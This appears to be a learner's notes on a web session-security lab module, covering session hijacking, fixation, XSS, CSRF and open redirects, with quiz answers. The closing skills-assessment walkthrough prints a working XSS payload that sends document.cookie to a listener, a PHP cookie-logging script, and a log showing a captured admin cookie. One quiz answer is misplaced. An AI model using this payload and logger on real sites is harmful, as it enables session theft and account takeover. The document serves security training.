Introduction to Sessions

A user session is a series of requests sent by the same client and the server’s corresponding responses over a limited time window. Web apps rely on sessions to remember who each user is and what state they’re in. Sessions let an app apply access controls, language or region preferences, and other per-user settings while a person uses the site — both before and after they log in.

Because HTTP is stateless, each request is independent: the protocol does not retain any memory about previous exchanges. That means every request must include whatever information the server needs to handle it, and any notion of “session” must be built on top of this stateless model by the client and server.

To implement session handling, applications commonly use cookies, query string parameters (URLs/GET arguments), POST body fields, or proprietary mechanisms to keep track of session state.

Security of session identifiers

Sessions are distinguished by a unique token or session identifier (session ID). If an attacker gets hold of someone’s session ID, they can impersonate that user — this is known as session hijacking.

Attackers can obtain session IDs in several ways; not all require direct interaction with the victim. Examples include:

Passive network sniffing (capturing traffic)
Finding IDs in server or application logs
Predicting weakly generated IDs
Brute-forcing poorly chosen IDs

A session ID’s resistance to attack depends on several properties:

Scope — a secure ID should only be valid for a single session (not reusable across different contexts).
Unpredictability — it should be produced using a strong random generator so it cannot be guessed.
Lifespan — it should expire after an appropriate amount of time.

Popular platforms and frameworks (PHP, JSP, etc.) normally generate session IDs that meet these criteria. Custom ID implementations are risky — treat them with extra scrutiny and test thoroughly.

Where the session ID is stored also affects security:

URL: Embedding the ID in the URL risks leaking it through the Referer header to third parties and leaves it in browser history.
HTML (page content): IDs placed in page markup may be cached in the browser or exposed to intermediate proxies.
sessionStorage: Data here persists while the tab or browser window stays open and is cleared when the page session ends (but survives reloads/restores).
localStorage: Data here survives browser restarts until explicitly removed (except in private/incognito sessions where it is cleared when tabs close).

If session tokens are managed entirely client-side or lack the properties above, consider them weak and report them.

Common session-related attacks

This section explains several attacks that target sessions and how they work.

Session hijacking — the attacker acquires a valid session token (by any of the methods above) and uses it to log in as the victim.
Session fixation — the attacker sets or supplies a session ID they control and tricks the victim into authenticating using that ID. Once the victim logs in, the attacker can reuse the same ID to gain access.
XSS (Cross-Site Scripting) — XSS can be leveraged to steal session identifiers or to perform actions using the victim’s session; when considering XSS, pay particular attention to session exposure.
CSRF (Cross-Site Request Forgery) — CSRF forces an authenticated user’s browser to send unwanted requests to a site where they’re logged in. Malicious pages crafted by the attacker cause the victim’s browser to issue requests that carry the victim’s session and privileges, making the server execute actions on the victim’s behalf.
Open redirects (with session focus) — an open redirect vulnerability allows an attacker to send victims to attacker-controlled pages via a legitimate site’s redirect parameter. When redirects are not validated, attackers can use trusted-looking links to lure users to pages that attempt to capture session data or trick users into actions that expose their session.

Session Hijacking

In a session hijacking attack, the adversary exploits weak or exposed session identifiers, manages to capture them, and then reuses them to log in to the server as if they were the legitimate user.

There are multiple techniques an attacker can use to steal a session identifier, the most frequent being:

Monitoring network traffic (passive sniffing)
Injecting malicious scripts through Cross-Site Scripting (XSS)
Extracting data from browser history or system logs
Gaining read access to a database that stores session details

Additionally, as discussed earlier, if the session identifiers are poorly secured, attackers might not need to steal them directly—they could attempt to guess, brute force, or even predict the values.

What kind of session identifier does the application employ? Answer options (without quotation marks): “URL parameter”, “URL argument”, “body argument”, “cookie” or “proprietary solution”

Insert the ips with the dns in your /etc/hosts

IP=ENTER SPAWNED TARGET IP HERE
printf "%s\t%s\n\n" "$IP" "xss.local.net csrf.local.net oredirect.local.net minilab.local.net" | sudo tee -a /etc/hosts

Open the page and insert the username and the password heavycat106:rocknrol.

On the next page, open Inpector and the tab Application. Observe that the page use cookie to employ the application.

Session Fixation

Session fixation happens when an attacker forces or plants a legitimate session ID for a victim to use. The attacker’s goal is to make the victim log into the application while using that predetermined session identifier — once the victim does, the attacker can take over the session because they already know the session ID.

These vulnerabilities commonly arise when the application accepts session IDs from places like URL query strings or POST data (rather than only from secure cookie headers).

A typical session-fixation exploit follows three steps:

Stage 1 — Obtain a valid session identifier
An attacker doesn’t always need to log in to get a valid session ID: many apps issue session identifiers to any visitor. That means an attacker can be assigned a legitimate session ID simply by visiting the site. (They can also obtain one by registering an account, if account creation is available.)

Stage 2 — Fixate the session identifier on the victim
What turns ordinary session issuance into a vulnerability is when: (1) the pre-login session ID remains the same after login, and (2) the application will accept and use session IDs supplied via the URL or POST parameters. For example, if a session parameter in the URL is accepted and later treated as the active session ID, an attacker can force that value to be the victim’s session.

Stage 3 — Trick the victim into using the fixed session
The attacker crafts a link containing the chosen session ID and persuades the victim to click it. When the victim follows the link and logs in, the application assigns them the attacker’s known session ID. The attacker can then perform a session-hijacking attack because the session identifier is already known.

If the HttpOnly flag was set, would the application still be vulnerable to session fixation? Answer Format: Yes or No

An attribute like HttpOnly only prevents client-side scripts from reading the cookie’s contents.
It does not stop an attacker from forcing the victim to use a predetermined session identifier.

Obtaining Session Identifiers without User Interaction

Attackers and bug bounty hunters can obtain session IDs using many techniques, which fall into two groups:

Methods that don’t require any interaction from the user
Methods that do require user interaction

Below is a rewrite focusing on the non-interactive methods.

Capturing Session IDs by Sniffing Network Traffic

Traffic sniffing is a common technique used during internal network assessments. Testers often connect laptops or Raspberry Pis to spare Ethernet ports to observe network traffic and discover services to target. Sniffing only works when the attacker and victim share the same local network segment — only then can HTTP packets be inspected. It’s not possible to perform this kind of raw packet sniffing from a remote location.

The reason HTTP is important here is that it is unencrypted by default. If an attacker is monitoring the network, they can intercept sensitive information transmitted in plaintext, such as usernames, passwords, and session identifiers. If traffic is protected by SSL/TLS, IPsec, or another encryption layer, extracting that information becomes far more difficult or effectively impossible without breaking the encryption.

In short, to obtain session IDs via traffic sniffing you need two things:

The attacker must be on the same local network as the victim.
The traffic being monitored must be unencrypted HTTP.

There are many tools for packet capture and analysis; in this module we’ll use Wireshark. Wireshark provides filtering options so you can isolate traffic by protocol (HTTP, SSH, FTP, etc.) or by specific source/destination IPs, making it easier to locate sessions and relevant fields.

If xss.local.net was an intranet application, would an attacker still be able to capture cookies via sniffing traffic if he/she got access to the company’s VPN? Suppose that any user connected to the VPN can interact with xss.local.net. Answer format: Yes or No

Even with HttpOnly preventing JavaScript from reading cookies, an attacker who can force or supply a session identifier can still make the victim use that session. HttpOnly doesn’t stop an attacker from fixing a session value before the victim authenticates.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is one of the most frequently encountered web-app vulnerabilities. When exploited, XSS can let an attacker run arbitrary JavaScript inside a victim’s browser — and, if combined with other flaws, can lead to full compromise of the web application. In this section we’ll concentrate specifically on using XSS to capture valid session identifiers (for example, session cookies).

If you want a deeper treatment of XSS, check the dedicated Cross-Site Scripting (XSS) module.

For an XSS exploit to expose session cookies, two conditions must be met:

Session cookies are sent with every HTTP request.
The cookies are available to JavaScript (i.e., the HttpOnly attribute is not set).

If xss.local.net was utilizing SSL encryption, would an attacker still be able to capture cookies through XSS? Answer format: Yes or No

Encryption only protects data in transit, not how scripts inside the browser handle it. If an XSS payload runs, it executes in the victim’s browser and can interact with cookies regardless of the transport layer.

Cross-Site Request Forgery (CSRF or XSRF)

Cross-Site Request Forgery (CSRF or XSRF) is an attack that tricks an authenticated user into performing unwanted actions on a web application where they already have a valid session. Attackers typically build malicious web pages or links that, when visited or interacted with by the victim, send requests to the target application. Because the victim is already authenticated, those requests inherit the victim’s identity and privileges and can cause harmful state changes (for example, changing account settings, initiating transactions, or deleting data). Although CSRF most often targets operations that change server state, it can also be used to access sensitive information in some scenarios.

A successful CSRF attack against a normal user can leak or modify that user’s data; against an administrator, it can result in full compromise of the application.

Importantly, CSRF does not require the attacker to read the server’s response to the forged request. Because of that, the browser’s Same-Origin Policy (SOP) — which prevents a page from one origin from reading responses from another origin — does not stop CSRF. SOP restricts cross-origin reads and interactions, but it doesn’t stop a browser from automatically sending authenticated requests (and cookies) to a different origin.

A web application is susceptible to CSRF when:

The attacker can determine or guess every parameter needed to construct the target request, and
The application relies solely on browser cookies for session management (cookies are sent automatically with requests).

To exploit a CSRF flaw you need two things:

A malicious web page (or other attacker-controlled content) that issues a legitimate-looking cross-site request on behalf of the victim.
The victim must be logged in to the targeted application when the malicious request is triggered.

In penetration tests and bug bounty programs you’ll often encounter applications that lack proper anti-CSRF defenses or that implement protections which are trivial to bypass.

The following sections will cover techniques for evading and testing anti-CSRF protections.

If the update-profile request was GET-based and no anti-CSRF protections existed, would you still be able to update Ela Stienen’s profile through CSRF? Answer format: Yes or No

Because the action would be triggered simply by loading a crafted link, the browser would automatically include the victim’s cookies. Without any anti-CSRF tokens or method restrictions, the server would treat the request as legitimate.

Cross-Site Request Forgery (GET-based)

Like session cookies, CSRF tokens sent over unencrypted channels can be intercepted and exposed.

Example walkthrough

Follow along with this hands-on example.

At the end of this section click Click here to spawn the target system! (or use the Reset Target button).
Open the supplied Pwnbox — or a local VM configured with the provided VPN key — so you can reach the target application.
Add the virtual host csrf.local.net to your hosts configuration so the application is reachable at that hostname.
Visit http://csrf.local.net and sign in with the example account below to explore the app and observe how CSRF tokens are handled:

Email: heavycat106
Password: rocknrol

This account was created specifically so you can interact with the app and inspect its behavior.

If csrf.local.net was utilizing SSL encryption, would an attacker still be able to alter Julie Rogers’ profile through CSRF? Answer format: Yes or No

Encryption protects data while it travels across the network, but it does not change how the browser automatically sends authenticated requests. If the site lacks proper CSRF defenses, the attacker can still cause the victim’s browser to perform unauthorized actions.

Cross-Site Request Forgery (POST-based)

Most modern web apps perform sensitive actions using POST requests, which means CSRF tokens are commonly embedded in POST payloads. In this exercise we’ll target such an application and try to exfiltrate the CSRF token so a CSRF exploit becomes possible.

Follow these steps to reproduce the lab:

At the end of the section click Click here to spawn the target system! (or hit Reset Target).
Use the provided Pwnbox or a local VM configured with the supplied VPN key so you can reach the target environment.
Make sure you add the virtual host csrf.local.net to your hosts file so the app is reachable at that name.
Open http://csrf.local.net and log in with the example account below to examine the app:

Email: heavycat106
Password: rocknrol

This account exists solely for you to explore the app’s features.

Once logged in you’ll see an option to delete the account. Our goal is to discover a way to leak the CSRF token—despite it being sent in POST data—by exploiting an HTML Injection / XSS vulnerability, so we can then craft a working CSRF attack.

If csrf.local.net was utilizing secure cookies, would an attacker still be able to leak Julie Roger’s CSRF token? Answer format: Yes or No

The Secure attribute only ensures the cookie is sent over HTTPS, it doesn’t block access from client-side scripts. If Julie’s CSRF token remains readable by JavaScript (not HttpOnly), an injected script can still exfiltrate it.

XSS & CSRF Chaining

Sometimes bypassing CSRF protections still isn’t enough — the browser’s same-origin or same-site safeguards can prevent the attacker from issuing cross-site requests. When that happens, you can chain vulnerabilities together to achieve the same end result: a CSRF-like state change executed under the victim’s identity.

Here’s a hands-on example to follow:

Spawn the target system by clicking Click here to spawn the target system! (or use Reset Target).
Use the provided Pwnbox or a local VM configured with the supplied VPN key so you can access the lab environment.
Add the virtual host minilab.local.net to your hosts file so the application resolves correctly.
Open http://minilab.local.net and sign in with the test account below:

Email: crazygorilla983
Password: pisces

This account was created solely for exploring the app’s behavior.

Key facts about the target application:

The server enforces same-origin / same-site protections that block cross-site requests (these protections are implemented at the server level and may not be obvious from the app UI).
The Country field in user profiles is vulnerable to stored XSS (see the XSS module).
Because of the same-origin restrictions, directly issuing malicious cross-site requests is not possible — however, a stored XSS payload executed from the same domain is not subject to those protections. In other words, JavaScript running on the target origin can make state-changing requests successfully.

Plan: exploit the stored XSS in the Country field to inject JavaScript that performs the targeted state-changing request. For this exercise, we’ll craft a payload to trigger the Change Visibility action — if successful, this will make a private profile public.

Same Origin Policy cannot prevent an attacker from changing the visibility of @goldenpeacock467’s profile. Answer Format: Yes or No

The browser’s origin rules only restrict reading data across different domains, not the act of triggering authenticated requests. If the victim’s browser automatically includes valid credentials, the server will accept the change as legitimate.

Exploiting Weak CSRF Tokens

Some applications create CSRF tokens using weak or predictable methods — for example, by taking the username and returning md5(username) as the token. You can test for this kind of weakness by creating an account, observing the token in the app’s requests, and checking whether the token matches the MD5 hash of the username.

Hands-on steps to verify this:

Spawn the target system at the end of the section (or click Reset Target).
Use the supplied Pwnbox or a local VM configured with the provided VPN key so you can reach the lab.
Add the virtual host csrf.local.net to your hosts file so the application resolves correctly.
Visit http://csrf.local.net and sign in with the test credentials:
- Email: goldenpeacock467
- Password: topcat
Open your browser’s Developer Tools and switch to the Network tab (e.g., Shift+Ctrl+I in Firefox).
In the user profile, click Change Visibility and then Make Public, and inspect the outgoing request to find the CSRF token value.
Compute the MD5 hash of the username and compare it to the token you observed — if they match, the token is trivially predictable and insecure.

Our malicious page included a user-triggered event handler (onclick). To evade what kind of security measure did we do that? Answer options (without quotation marks): “Same-Origin Policy”, “Popup Blockers”, “XSS Filters”

We shifted the action into a real user click so the browser treats it as a genuine interaction rather than an automated script. That approach specifically sidesteps the mechanism that suppresses unsolicited windows and dialogs — Popup Blockers.

Open Redirect

An Open Redirect flaw exists when an attacker can make a trusted application send a victim to a site the attacker controls by abusing the app’s redirect feature. This happens when the application accepts a redirect target (for example, via a URL parameter) without validating whether the destination is safe or belongs to an allowed list. An attacker simply crafts a link that uses the legitimate site’s redirect functionality but points the target parameter at their malicious domain, then convinces the victim to click it. Because the link appears to come from a trusted site, open redirects are especially valuable to attackers during initial access — they help funnel victims to attacker-controlled pages via a seemingly legitimate source.

Open redirects are often chained with phishing and social-engineering: the attacker hosts a credential-harvesting or drive-by exploit page, then uses the trusted redirect to improve clickthrough and lower suspicion. They can also be abused to bypass some same-origin checks or to leak sensitive tokens via referrer headers. To defend against this, validate redirect targets strictly (use allowlists, relative paths only, or explicit tokenized redirects) and avoid reflecting user-supplied URLs directly in redirect responses.

If the request to complete.html was GET-based, would you still be able to obtain the token via exploiting the open redirect vulnerability? Answer format: Yes or No

A GET request often places sensitive data in the URL, so any redirect that forwards that URL (or its Referer) can expose the token to the destination. An exploitable open-redirect can send the full URL (including query string) to an attacker-controlled site, making the token retrievable.

Session Security – Skills Assessment

You are taking part in a bug bounty program.

Scope: only the URL http://minilab.local.net is allowed for testing.
Client-side attacks that target end users are permitted within this program’s rules.

Test account to use:

Email: heavycat106
Password: rocknrol

While enumerating the site you discovered an endpoint at http://minilab.local.net/submit-solution.

Your task: find a method to take over an administrator’s session. After you succeed, respond to the two questions below.

Read the flag residing in the admin’s public profile. Answer format: [string]

Search for the field that is vulnerable. The field Country apperars to be.

<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://127.0.0.1:8000/log.php?c=' + document.cookie;"></video>

On your terminal, create a script named log.php.

<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);

header("Location: http://www.google.com/");
exit;
?>

And start a php server

php -S 0.0.0.0:8000

Open the address

http://minilab.local.net/submit-solution?url=http://minilab.local.net/profile?email=julie.rogers@example.com

And get the cookie on your terminal

[Sat Oct  4 18:28:59 2025] PHP 8.4.11 Development Server (http://0.0.0.0:8000) started
[Sat Oct  4 18:28:59 2025] 127.0.0.1:35738 Accepted
[Sat Oct  4 18:28:59 2025] 127.0.0.1:35738 [302]: GET /log.php?c=auth-session%3AF4sg0Pk8d2Gm2jGD1wcWDsgErApWnzDE4m.Ag1b9luuyfi6vbyc2%2F7n2unlD0f1OFUbyBSikItoI
[Sat Oct  4 18:28:59 2025] 127.0.0.1:35738 Closing
[Sat Oct  4 18:29:11 2025] 127.0.0.1:35740 Accepted
[Sat Oct  4 18:29:11 2025] 127.0.0.1:35750 Accepted

This is the cookie of the administrator. Open the inspector and replace the Julie’s cookie for this one.